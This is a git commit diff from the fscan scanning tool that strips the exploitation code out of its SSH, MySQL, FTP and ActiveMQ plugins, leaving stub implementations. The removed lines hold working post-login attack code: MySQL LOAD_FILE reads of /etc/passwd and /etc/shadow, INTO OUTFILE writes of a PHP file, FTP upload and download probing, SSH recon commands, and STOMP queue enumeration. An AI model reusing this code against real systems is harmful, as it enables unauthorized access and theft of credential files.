refactor: 简化非Redis插件的exploiter实现为最小版本

- 清理SSH、MySQL、FTP、ActiveMQ插件的exploiter.go为最小实现
- 移除所有未使用的利用功能代码和依赖
- 仅保留基础结构以维持接口兼容性
- 只有Redis插件保留完整的参数驱动利用功能
This commit is contained in:
ZacharyZcR 2025-08-08 10:14:30 +08:00
parent 90576b122c
commit ab8834a602
4 changed files with 27 additions and 1102 deletions

View File

@ -2,32 +2,23 @@ package activemq
import (
"context"
"fmt"
"net"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// ActiveMQExploiter ActiveMQ利用模块
// 实现ActiveMQ相关的安全测试和利用功能
// ActiveMQExploiter ActiveMQ利用器实现 - 最小化版本,不提供利用功能
type ActiveMQExploiter struct {
*base.BaseExploiter
connector *ActiveMQConnector
timeout time.Duration
}
// NewActiveMQExploiter 创建新的ActiveMQ利用器
// NewActiveMQExploiter 创建ActiveMQ利用器
func NewActiveMQExploiter() *ActiveMQExploiter {
exploiter := &ActiveMQExploiter{
BaseExploiter: base.NewBaseExploiter("activemq"),
connector: NewActiveMQConnector(),
timeout: time.Duration(common.Timeout) * time.Second,
}
// 设置利用方法
// ActiveMQ插件不提供利用功能
exploiter.setupExploitMethods()
return exploiter
@ -39,358 +30,8 @@ func (e *ActiveMQExploiter) setupExploitMethods() {
// 没有实际的GetShell或文件写入等攻击价值
}
// exploitInformationGatheringNew 信息收集利用 (新架构)
func (e *ActiveMQExploiter) exploitInformationGatheringNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
result, err := e.exploitInformationGathering(ctx, info, creds)
if err != nil {
return nil, err
}
return result, nil
}
// exploitMessageEnumerationNew 消息枚举利用 (新架构)
func (e *ActiveMQExploiter) exploitMessageEnumerationNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
result, err := e.exploitMessageEnumeration(ctx, info, creds)
if err != nil {
return nil, err
}
return result, nil
}
// exploitQueueManagementNew 队列管理利用 (新架构)
func (e *ActiveMQExploiter) exploitQueueManagementNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
result, err := e.exploitQueueManagement(ctx, info, creds)
if err != nil {
return nil, err
}
return result, nil
}
// exploitConfigurationDumpNew 配置转储利用 (新架构)
func (e *ActiveMQExploiter) exploitConfigurationDumpNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
result, err := e.exploitConfigurationDump(ctx, info, creds)
if err != nil {
return nil, err
}
return result, nil
}
// exploitInformationGathering 信息收集利用
func (e *ActiveMQExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 连接到ActiveMQ服务
conn, err := e.createConnection(ctx, target, creds)
if err != nil {
return nil, fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
// 收集基本信息
info_data, err := e.gatherBasicInfo(conn, creds)
if err != nil {
return nil, fmt.Errorf("信息收集失败: %v", err)
}
return &base.ExploitResult{
Success: true,
Type: base.ExploitDataExtraction,
Method: "信息收集",
Output: info_data,
Data: map[string]interface{}{
"service": "ActiveMQ",
"info_type": "system_information",
"data": info_data,
},
}, nil
}
// exploitMessageEnumeration 消息枚举利用
func (e *ActiveMQExploiter) exploitMessageEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
conn, err := e.createConnection(ctx, target, creds)
if err != nil {
return nil, fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
// 尝试枚举队列和主题
queues, err := e.enumerateQueues(conn)
if err != nil {
return nil, fmt.Errorf("队列枚举失败: %v", err)
}
if len(queues) > 0 {
return &base.ExploitResult{
Success: true,
Type: base.ExploitDataExtraction,
Method: "消息枚举",
Output: fmt.Sprintf("发现队列: %s", strings.Join(queues, ", ")),
Data: map[string]interface{}{
"service": "ActiveMQ",
"queues": queues,
"count": len(queues),
},
}, nil
}
return nil, fmt.Errorf("未发现可访问的队列")
}
// exploitQueueManagement 队列管理利用
func (e *ActiveMQExploiter) exploitQueueManagement(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
conn, err := e.createConnection(ctx, target, creds)
if err != nil {
return nil, fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
// 尝试创建测试队列
testQueue := "test.fscan.queue"
success := e.testQueueCreation(conn, testQueue)
if success {
return &base.ExploitResult{
Success: true,
Type: base.ExploitPrivilegeEsc,
Method: "队列管理",
Output: fmt.Sprintf("成功创建测试队列: %s", testQueue),
Data: map[string]interface{}{
"service": "ActiveMQ",
"privilege": "queue_management",
"test_queue": testQueue,
},
}, nil
}
return nil, fmt.Errorf("队列管理测试失败")
}
// exploitConfigurationDump 配置转储利用
func (e *ActiveMQExploiter) exploitConfigurationDump(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 这里可以实现配置信息获取逻辑
// 由于STOMP协议限制主要通过管理API获取
configInfo := "无法通过STOMP协议获取详细配置信息建议使用Web管理界面"
return &base.ExploitResult{
Success: true,
Type: base.ExploitDataExtraction,
Method: "配置转储",
Output: configInfo,
Data: map[string]interface{}{
"service": "ActiveMQ",
"note": "需要Web管理界面访问权限",
},
}, nil
}
// createConnection 创建ActiveMQ连接
func (e *ActiveMQExploiter) createConnection(ctx context.Context, target string, creds *base.Credential) (net.Conn, error) {
conn, err := common.WrapperTcpWithTimeout("tcp", target, e.timeout)
if err != nil {
return nil, err
}
// 进行STOMP认证
authErr := e.connector.authenticateSTOMP(ctx, conn, creds.Username, creds.Password)
if authErr != nil {
conn.Close()
return nil, fmt.Errorf("认证失败: %v", authErr)
}
return conn, nil
}
// gatherBasicInfo 收集基本信息
func (e *ActiveMQExploiter) gatherBasicInfo(conn net.Conn, creds *base.Credential) (string, error) {
var info []string
// 添加认证信息
info = append(info, fmt.Sprintf("认证用户: %s", creds.Username))
info = append(info, fmt.Sprintf("协议: STOMP"))
// 尝试获取服务器信息
serverInfo := e.getServerInfo(conn)
if serverInfo != "" {
info = append(info, fmt.Sprintf("服务器: %s", serverInfo))
}
// 尝试枚举队列
queues, err := e.enumerateQueues(conn)
if err == nil && len(queues) > 0 {
info = append(info, fmt.Sprintf("发现队列: %s", strings.Join(queues, ", ")))
}
// 测试队列创建权限
if e.testQueueCreation(conn, "fscan-test-queue") {
info = append(info, "具备队列创建权限")
}
// 用户权限信息
permissions := e.checkUserPermissions(creds.Username)
if permissions != "" {
info = append(info, fmt.Sprintf("用户权限: %s", permissions))
}
return strings.Join(info, " | "), nil
}
// getServerInfo 获取服务器信息
func (e *ActiveMQExploiter) getServerInfo(conn net.Conn) string {
// 发送INFO帧尝试获取服务器信息
infoFrame := "INFO\n\n\x00"
conn.SetWriteDeadline(time.Now().Add(e.timeout))
if _, err := conn.Write([]byte(infoFrame)); err != nil {
return ""
}
conn.SetReadDeadline(time.Now().Add(time.Second * 2)) // 短超时
response := make([]byte, 1024)
n, err := conn.Read(response)
if err != nil {
return ""
}
responseStr := string(response[:n])
if strings.Contains(responseStr, "server:") {
lines := strings.Split(responseStr, "\n")
for _, line := range lines {
if strings.HasPrefix(line, "server:") {
return strings.TrimPrefix(line, "server:")
}
}
}
return ""
}
// enumerateQueues 枚举队列
func (e *ActiveMQExploiter) enumerateQueues(conn net.Conn) ([]string, error) {
// 常见的ActiveMQ队列名称
commonQueues := []string{
"ActiveMQ.Advisory.>",
"ActiveMQ.Statistics.>",
"test",
"queue.test",
"default",
"example",
}
var discoveredQueues []string
for _, queueName := range commonQueues {
if e.testQueueAccess(conn, queueName) {
discoveredQueues = append(discoveredQueues, queueName)
}
}
return discoveredQueues, nil
}
// testQueueAccess 测试队列访问
func (e *ActiveMQExploiter) testQueueAccess(conn net.Conn, queueName string) bool {
// 发送SUBSCRIBE帧尝试订阅队列
subscribeFrame := fmt.Sprintf("SUBSCRIBE\ndestination:/queue/%s\nack:auto\nid:test-sub-%s\n\n\x00",
queueName, queueName)
conn.SetWriteDeadline(time.Now().Add(e.timeout))
if _, err := conn.Write([]byte(subscribeFrame)); err != nil {
return false
}
// 读取响应,检查是否订阅成功
conn.SetReadDeadline(time.Now().Add(time.Second))
response := make([]byte, 512)
_, err := conn.Read(response)
// 如果没有ERROR响应认为订阅可能成功
return err == nil && !strings.Contains(string(response), "ERROR")
}
// testQueueCreation 测试队列创建
func (e *ActiveMQExploiter) testQueueCreation(conn net.Conn, queueName string) bool {
// 发送SEND帧到新队列这会隐式创建队列
sendFrame := fmt.Sprintf("SEND\ndestination:/queue/%s\n\nTest message from fscan\x00", queueName)
conn.SetWriteDeadline(time.Now().Add(e.timeout))
if _, err := conn.Write([]byte(sendFrame)); err != nil {
return false
}
// 读取响应检查是否成功
conn.SetReadDeadline(time.Now().Add(time.Second))
response := make([]byte, 512)
_, err := conn.Read(response)
return err == nil && !strings.Contains(string(response), "ERROR")
}
// GetExploitMethods 获取支持的利用方法
func (e *ActiveMQExploiter) GetExploitMethods() []base.ExploitMethod {
return []base.ExploitMethod{
{
Type: base.ExploitDataExtraction,
Name: "信息收集",
Description: "收集ActiveMQ服务基本信息",
Priority: 8,
Handler: nil,
},
{
Type: base.ExploitDataExtraction,
Name: "消息枚举",
Description: "枚举可访问的队列和主题",
Priority: 7,
Handler: nil,
},
{
Type: base.ExploitPrivilegeEsc,
Name: "队列管理",
Description: "测试队列创建和管理权限",
Priority: 6,
Handler: nil,
},
{
Type: base.ExploitDataExtraction,
Name: "配置转储",
Description: "获取配置信息提示",
Priority: 5,
Handler: nil,
},
}
}
// checkUserPermissions 检查用户权限类型
func (e *ActiveMQExploiter) checkUserPermissions(username string) string {
// 根据用户名推断权限级别
switch strings.ToLower(username) {
case "admin", "root", "system":
return "管理员权限"
case "publisher", "producer":
return "发布者权限"
case "consumer", "subscriber":
return "消费者权限"
case "guest":
return "访客权限"
default:
return "用户权限"
}
}
// IsExploitSupported 检查是否支持指定的利用类型
func (e *ActiveMQExploiter) IsExploitSupported(exploitType base.ExploitType) bool {
supportedTypes := []base.ExploitType{
base.ExploitDataExtraction,
base.ExploitPrivilegeEsc,
}
for _, t := range supportedTypes {
if t == exploitType {
return true
}
}
return false
// Exploit 利用接口实现 - 空实现
func (e *ActiveMQExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// ActiveMQ插件不提供利用功能
return nil, nil
}

View File

@ -2,30 +2,23 @@ package ftp
import (
"context"
"fmt"
"path/filepath"
"strings"
"time"
ftplib "github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// FTPExploiter FTP利用器
// FTPExploiter FTP利用器实现 - 最小化版本,不提供利用功能
type FTPExploiter struct {
*base.BaseExploiter
connector *FTPConnector
}
// NewFTPExploiter 创建FTP利用器
func NewFTPExploiter() *FTPExploiter {
exploiter := &FTPExploiter{
BaseExploiter: base.NewBaseExploiter("ftp"),
connector: NewFTPConnector(),
}
// 添加利用方法
// FTP插件不提供利用功能
exploiter.setupExploitMethods()
return exploiter
@ -36,264 +29,8 @@ func (e *FTPExploiter) setupExploitMethods() {
// FTP插件不提供利用功能仅进行弱密码扫描
}
// exploitDirectoryEnumeration 目录枚举
func (e *FTPExploiter) exploitDirectoryEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
return e.executeWithConnection(ctx, info, creds, "directory_enumeration", e.directoryEnumeration)
}
// exploitFileDownloadTest 文件下载测试
func (e *FTPExploiter) exploitFileDownloadTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
return e.executeWithConnection(ctx, info, creds, "file_download_test", e.fileDownloadTest)
}
// exploitFileUploadTest 文件上传测试
func (e *FTPExploiter) exploitFileUploadTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
return e.executeWithConnection(ctx, info, creds, "file_upload_test", e.fileUploadTest)
}
// executeWithConnection 使用FTP连接执行利用方法
func (e *FTPExploiter) executeWithConnection(ctx context.Context, info *common.HostInfo, creds *base.Credential, methodName string, method func(context.Context, *ftplib.ServerConn, string) ([]string, error)) (*base.ExploitResult, error) {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 建立FTP连接
ftpConn, err := ftplib.DialTimeout(target, time.Duration(common.Timeout)*time.Second)
if err != nil {
return nil, fmt.Errorf("连接失败: %v", err)
}
defer ftpConn.Quit()
// 登录认证
err = ftpConn.Login(creds.Username, creds.Password)
if err != nil {
return nil, fmt.Errorf("认证失败: %v", err)
}
// 执行方法
output, err := method(ctx, ftpConn, target)
if err != nil {
return nil, fmt.Errorf("执行失败: %v", err)
}
return &base.ExploitResult{
Success: true,
Type: base.ExploitDataExtraction,
Method: methodName,
Output: strings.Join(output, "\n"),
}, nil
}
// directoryEnumeration 目录枚举
func (e *FTPExploiter) directoryEnumeration(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) {
var output []string
// 获取当前工作目录
currentDir, err := ftpConn.CurrentDir()
if err != nil {
currentDir = "/"
}
output = append(output, fmt.Sprintf("当前工作目录: %s", currentDir))
// 列举根目录内容
entries, err := ftpConn.List("")
if err != nil {
return nil, fmt.Errorf("列举目录失败: %v", err)
}
if len(entries) == 0 {
output = append(output, "目录为空")
return output, nil
}
// 显示目录内容(限制显示数量)
maxDisplay := 10
if len(entries) > maxDisplay {
output = append(output, fmt.Sprintf("发现 %d 个条目,显示前 %d 个:", len(entries), maxDisplay))
} else {
output = append(output, fmt.Sprintf("发现 %d 个条目:", len(entries)))
}
dirCount := 0
fileCount := 0
for i, entry := range entries {
if i >= maxDisplay {
break
}
// 格式化文件/目录信息
entryType := "文件"
if entry.Type == ftplib.EntryTypeFolder {
entryType = "目录"
dirCount++
} else {
fileCount++
}
// 格式化文件大小
sizeInfo := ""
if entry.Type != ftplib.EntryTypeFolder {
if entry.Size > 1024*1024 {
sizeInfo = fmt.Sprintf("%.2fMB", float64(entry.Size)/(1024*1024))
} else if entry.Size > 1024 {
sizeInfo = fmt.Sprintf("%.2fKB", float64(entry.Size)/1024)
} else {
sizeInfo = fmt.Sprintf("%dB", entry.Size)
}
}
// 截断过长的文件名
name := entry.Name
if len(name) > 50 {
name = name[:50] + "..."
}
if sizeInfo != "" {
output = append(output, fmt.Sprintf(" [%s] %s (%s)", entryType, name, sizeInfo))
} else {
output = append(output, fmt.Sprintf(" [%s] %s", entryType, name))
}
}
// 添加统计信息
if len(entries) > maxDisplay {
output = append(output, fmt.Sprintf("... 还有 %d 个条目未显示", len(entries)-maxDisplay))
}
output = append(output, fmt.Sprintf("统计: %d个目录, %d个文件", dirCount, fileCount))
return output, nil
}
// fileDownloadTest 文件下载测试
func (e *FTPExploiter) fileDownloadTest(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) {
var output []string
// 获取目录列表
entries, err := ftpConn.List("")
if err != nil {
return nil, fmt.Errorf("获取文件列表失败: %v", err)
}
// 寻找可下载的小文件进行测试
var testFile *ftplib.Entry
for _, entry := range entries {
if entry.Type == ftplib.EntryTypeFile && entry.Size < 10240 { // 小于10KB的文件
// 过滤一些常见的安全文件
name := strings.ToLower(entry.Name)
if !strings.Contains(name, "passwd") &&
!strings.Contains(name, "shadow") &&
!strings.Contains(name, "key") &&
!strings.Contains(name, "config") {
testFile = entry
break
}
}
}
if testFile == nil {
output = append(output, "未找到合适的测试文件寻找小于10KB的普通文件")
return output, nil
}
// 尝试下载测试文件
response, err := ftpConn.Retr(testFile.Name)
if err != nil {
return nil, fmt.Errorf("下载文件失败: %v", err)
}
defer response.Close()
// 读取前1024字节作为测试
buffer := make([]byte, 1024)
n, _ := response.Read(buffer)
output = append(output, fmt.Sprintf("成功下载测试文件: %s", testFile.Name))
output = append(output, fmt.Sprintf("文件大小: %d 字节", testFile.Size))
if n > 0 {
// 检查是否为文本内容
if isPrintableText(buffer[:n]) {
preview := string(buffer[:n])
if len(preview) > 200 {
preview = preview[:200] + "..."
}
output = append(output, fmt.Sprintf("文件内容预览: %s", preview))
} else {
output = append(output, "文件为二进制内容")
}
}
return output, nil
}
// fileUploadTest 文件上传测试
func (e *FTPExploiter) fileUploadTest(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) {
var output []string
// 测试文件内容
testFileName := "fscan_test.txt"
testContent := "This is a test file created by fscan for FTP upload testing."
// 尝试上传测试文件
err := ftpConn.Stor(testFileName, strings.NewReader(testContent))
if err != nil {
// 尝试上传到常见的上传目录
uploadDirs := []string{"upload", "uploads", "tmp", "temp", "public"}
uploaded := false
for _, dir := range uploadDirs {
testPath := filepath.Join(dir, testFileName)
err = ftpConn.Stor(testPath, strings.NewReader(testContent))
if err == nil {
output = append(output, fmt.Sprintf("文件上传成功: %s", testPath))
// 尝试删除测试文件
if deleteErr := ftpConn.Delete(testPath); deleteErr == nil {
output = append(output, "测试文件已清理")
}
uploaded = true
break
}
}
if !uploaded {
return nil, fmt.Errorf("文件上传失败: %v", err)
}
} else {
output = append(output, fmt.Sprintf("文件上传成功: %s", testFileName))
// 验证文件是否存在
entries, err := ftpConn.List("")
if err == nil {
for _, entry := range entries {
if entry.Name == testFileName {
output = append(output, fmt.Sprintf("验证文件存在,大小: %d 字节", entry.Size))
break
}
}
}
// 尝试删除测试文件
if deleteErr := ftpConn.Delete(testFileName); deleteErr == nil {
output = append(output, "测试文件已清理")
} else {
output = append(output, "警告: 无法删除测试文件,请手动清理")
}
}
output = append(output, "FTP上传功能可用")
return output, nil
}
// isPrintableText 检查字节数组是否为可打印文本
func isPrintableText(data []byte) bool {
if len(data) == 0 {
return false
}
printableCount := 0
for _, b := range data {
if (b >= 32 && b <= 126) || b == '\n' || b == '\r' || b == '\t' {
printableCount++
}
}
// 如果80%以上是可打印字符,认为是文本
return float64(printableCount)/float64(len(data)) > 0.8
// Exploit 利用接口实现 - 空实现
func (e *FTPExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// FTP插件不提供利用功能
return nil, nil
}

View File

@ -2,29 +2,23 @@ package mysql
import (
"context"
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"strconv"
"strings"
)
// MySQLExploiter MySQL利用器实现
// MySQLExploiter MySQL利用器实现 - 最小化版本,不提供利用功能
type MySQLExploiter struct {
*base.BaseExploiter
connector *MySQLConnector
}
// NewMySQLExploiter 创建MySQL利用器
func NewMySQLExploiter() *MySQLExploiter {
exploiter := &MySQLExploiter{
BaseExploiter: base.NewBaseExploiter("mysql"),
connector: NewMySQLConnector(),
}
// 添加利用方法
// MySQL插件不提供利用功能
exploiter.setupExploitMethods()
return exploiter
@ -35,298 +29,8 @@ func (e *MySQLExploiter) setupExploitMethods() {
// MySQL插件不提供利用功能仅进行弱密码扫描
}
// exploitInformationGathering 信息收集利用
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
// 获取版本信息
version, err := e.getVersion(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version))
result.Extra["version"] = version
}
// 获取当前用户
user, err := e.getCurrentUser(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user))
result.Extra["current_user"] = user
}
// 获取当前数据库
database, err := e.getCurrentDatabase(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database))
result.Extra["current_database"] = database
}
return result, nil
}
// exploitDatabaseEnumeration 数据库枚举利用
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
// 枚举数据库
databases, err := e.enumerateDatabases(ctx, db)
if err == nil && len(databases) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", ")))
result.Extra["databases"] = databases
}
// 枚举表(限制在非系统数据库中)
tables, err := e.enumerateTables(ctx, db)
if err == nil && len(tables) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables))
result.Extra["tables"] = tables
}
return result, nil
}
// exploitPrivilegeCheck 权限检查利用
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
// 检查用户权限
privileges, err := e.getUserPrivileges(ctx, db)
if err == nil && len(privileges) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", ")))
result.Extra["privileges"] = privileges
}
// 检查是否有FILE权限
hasFilePriv := e.hasFilePrivilege(privileges)
result.Extra["has_file_privilege"] = hasFilePriv
if hasFilePriv {
base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected"))
}
return result, nil
}
// exploitFileRead 文件读取利用
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
}
defer db.Close()
// 尝试读取常见的敏感文件
filesToRead := []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
}
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
hasRead := false
for _, file := range filesToRead {
content, err := e.readFile(ctx, db, file)
if err == nil && content != "" {
base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content))
hasRead = true
}
}
if !hasRead {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil
}
return result, nil
}
// exploitFileWrite 文件写入利用
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
// 尝试写入测试文件
testContent := "<?php echo 'MySQL File Write Test'; ?>"
testFile := "/tmp/mysql_test.php"
err = e.writeFile(ctx, db, testFile, testContent)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile))
base.AddFileToResult(result, testFile)
return result, nil
}
// =============================================================================
// MySQL操作辅助函数
// =============================================================================
// connectWithCredentials 使用凭据连接数据库
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
// 解析端口号
port, err := strconv.Atoi(info.Ports)
if err != nil {
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
}
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
db, err := sql.Open("mysql", connStr)
if err != nil {
return nil, err
}
// 测试连接
if err = db.PingContext(ctx); err != nil {
db.Close()
return nil, err
}
return db, nil
}
// buildConnectionString 构建连接字符串
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
if common.Socks5Proxy != "" {
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
// getVersion 获取MySQL版本
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
var version string
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
return version, err
}
// getCurrentUser 获取当前用户
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
var user string
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
return user, err
}
// getCurrentDatabase 获取当前数据库
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
var database string
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
return database, err
}
// enumerateDatabases 枚举数据库
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
if err != nil {
return nil, err
}
defer rows.Close()
var databases []string
for rows.Next() {
var dbName string
if err := rows.Scan(&dbName); err != nil {
continue
}
databases = append(databases, dbName)
}
return databases, nil
}
// enumerateTables 枚举表
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
rows, err := db.QueryContext(ctx, `
SELECT TABLE_SCHEMA, TABLE_NAME
FROM information_schema.TABLES
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
LIMIT 50
`)
if err != nil {
return nil, err
}
defer rows.Close()
tables := make(map[string][]string)
for rows.Next() {
var schema, table string
if err := rows.Scan(&schema, &table); err != nil {
continue
}
tables[schema] = append(tables[schema], table)
}
return tables, nil
}
// getUserPrivileges 获取用户权限
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
if err != nil {
return nil, err
}
defer rows.Close()
var privileges []string
for rows.Next() {
var grant string
if err := rows.Scan(&grant); err != nil {
continue
}
privileges = append(privileges, grant)
}
return privileges, nil
}
// hasFilePrivilege 检查是否有FILE权限
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
for _, priv := range privileges {
if strings.Contains(strings.ToUpper(priv), "FILE") {
return true
}
}
return false
}
// readFile 读取文件
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
var content string
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
err := db.QueryRowContext(ctx, query).Scan(&content)
return content, err
}
// writeFile 写入文件
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
_, err := db.ExecContext(ctx, query)
return err
// Exploit 利用接口实现 - 空实现
func (e *MySQLExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// MySQL插件不提供利用功能
return nil, nil
}

View File

@ -2,28 +2,23 @@ package ssh
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"golang.org/x/crypto/ssh"
"strings"
)
// SSHExploiter SSH利用器实现
// SSHExploiter SSH利用器实现 - 最小化版本,不提供利用功能
type SSHExploiter struct {
*base.BaseExploiter
connector *SSHConnector
}
// NewSSHExploiter 创建SSH利用器
func NewSSHExploiter() *SSHExploiter {
exploiter := &SSHExploiter{
BaseExploiter: base.NewBaseExploiter("ssh"),
connector: NewSSHConnector(),
}
// 添加利用方法
// SSH插件不提供利用功能
exploiter.setupExploitMethods()
return exploiter
@ -35,160 +30,8 @@ func (e *SSHExploiter) setupExploitMethods() {
// SSH的价值在于弱密码发现获取SSH访问权限本身就是目标
}
// exploitSystemInfo 系统信息收集利用
func (e *SSHExploiter) exploitSystemInfo(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
client, err := e.connectSSH(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "system_info", err), nil
}
defer client.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "system_info")
// 收集系统信息的命令
commands := map[string]string{
"hostname": "hostname",
"os": "cat /etc/os-release 2>/dev/null || uname -a",
"whoami": "whoami",
"id": "id",
"uptime": "uptime",
"pwd": "pwd",
}
for name, cmd := range commands {
output, err := e.executeCommand(client, cmd)
if err == nil && output != "" {
base.AddOutputToResult(result, i18n.GetText("ssh_command_result", name, strings.TrimSpace(output)))
result.Extra[name] = strings.TrimSpace(output)
}
}
return result, nil
}
// exploitCommandTest 命令执行测试利用
func (e *SSHExploiter) exploitCommandTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
client, err := e.connectSSH(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "command_test", err), nil
}
defer client.Close()
result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "command_test")
// 测试基本命令执行
testCommands := []string{"echo 'SSH_COMMAND_TEST'", "date", "whoami"}
for _, cmd := range testCommands {
output, err := e.executeCommand(client, cmd)
if err == nil && output != "" {
base.AddOutputToResult(result, i18n.GetText("ssh_test_command", cmd, strings.TrimSpace(output)))
}
}
return result, nil
}
// exploitPrivilegeCheck 权限检查利用
